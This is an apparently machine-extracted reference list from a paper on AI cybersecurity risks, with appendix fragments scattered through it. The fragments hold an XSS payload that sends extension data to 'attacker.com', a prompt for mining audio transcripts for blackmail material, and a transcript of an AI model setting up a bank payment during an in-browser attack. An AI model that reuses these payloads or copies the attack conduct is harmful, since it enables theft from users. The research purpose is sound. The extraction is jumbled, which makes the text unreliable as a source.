    Batuhan Tömekçe, Mark Vero, Robin Staab, and Martin Vechev. Private at- tribute inference from images with vision-language models. arXiv preprint arXiv:2404.10618, 2024

    2024 arXiv

  54. [62]

    Data breach investigations report

    Verizon. Data breach investigations report. https://www.verizon.com/business/en-gb/resources/2022-data-breach- investigations-report-dbir.pdf, 2022

    2022

  55. [63]

    Non-zero sum games and survivable malware

    Adam Young. Non-zero sum games and survivable malware. In IEEE Systems, Man and Cybernetics SocietyInformation Assurance Workshop, 2003. , pages 24–29. IEEE, 2003

    2003

  56. [64]

    Cryptovirology: Extortion-based security threats and countermeasures

    Adam Young and Moti Yung. Cryptovirology: Extortion-based security threats and countermeasures. In Proceedings 1996 IEEE Symposium on Security and Privacy, pages 129–140. IEEE, 1996

    1996

  57. [65]

    Cryptovirology: The birth, neglect, and explosion of ransomware

    Adam L Young and Moti Yung. Cryptovirology: The birth, neglect, and explosion of ransomware. Communications of the ACM, 60(7):24–26, 2017

    2017

  58. [66]

    Cybench: A framework for evaluating cybersecurity capabilities and risks of language models

    Andy K Zhang, Neil Perry, Riya Dulepet, Joey Ji, Celeste Menders, Justin W Lin, Eliot Jones, Gashon Hussein, Samantha Liu, Donovan Jasper, et al. Cybench: A framework for evaluating cybersecurity capabilities and risks of language models. arXiv preprint arXiv:2408.08926, 2024

    2024 arXiv

  59. [67]

    CVE-Bench: A benchmark for AI agents’ ability to exploit real-world web application vulnera- bilities

    Yuxuan Zhu, Antony Kellermann, Dylan Bowman, Philip Li, Akul Gupta, Adarsh Danda, Richard Fang, Conner Jensen, Eric Ihli, Jason Benn, et al. CVE-Bench: A benchmark for AI agents’ ability to exploit real-world web application vulnera- bilities. arXiv preprint arXiv:2503.17332, ...

    2025 arXiv

  60. [68]

    Transcribe: Accurately transcribe the provided audio

  61. [69]

    Caption": [ [

    Identify and Rate Sensitive Content: Analyze the transcript for information that could pose a risk to the speaker(s) if made public. Focus on content that could be used for: * Embarrassment or incrimination * Blackmail or exploitation * Identity theft (especially password gues...

    2025

  62. [70]

    Right-click on the image

  63. [71]

    AltText.ai: Get alt text

    Select "AltText.ai: Get alt text" from the context menu ### Step 4: Extension Processing

  64. [72]

    The extension captures the image URL from `t.srcUrl`

  65. [73]

    Sends the URL to the alttext.ai API

  66. [74]

    alt_text

    The API processes the image, including performing OCR on visible text ### Step 5: Malicious Response The API returns a response including the detected text from the image: ```json { "alt_text": "An image containing the text: <img src=x onerror=\"fetch('https://attacker.com/ste...

  67. [75]

    The extension takes this `alt_text` value and renders it directly with `n.innerHTML = t `

  68. [76]

    The browser parses this as HTML rather than displaying it as text

  69. [77]

    The injected `<img>` tag fails to load, triggering the `onerror` event

  70. [78]

    GET_HTML {query_selector}

    The malicious JavaScript executes in the extension 's privileged context ### Step 7: Exploit Outcome The attacker has now executed arbitrary JavaScript that can: - Access the extension 's storage (including API keys) - Make network requests from the extension context - Access ...

  71. [79]

    The name, address, account number and BIC have been automatically populated

  72. [80]

    I 've set the amount to 500 USD

  73. [81]

    International payment

    A message for the payee has been added: "International payment"

  74. [82]

    Next" button to proceed with the payment: ```javascript CLICK button[data-name=

    The execution date is preset to 22.04.2025 Now I need to click the "Next" button to proceed with the payment: ```javascript CLICK button[data-name="next-button"] ``` Figure 13: Entire transcript of Sonnet 3.7 calling JavaScript to perform an in-browser XSS attack on an e-banki...

    2025

Pith tools

Reviewed August 15, 2026 · model on record in the stance chip above.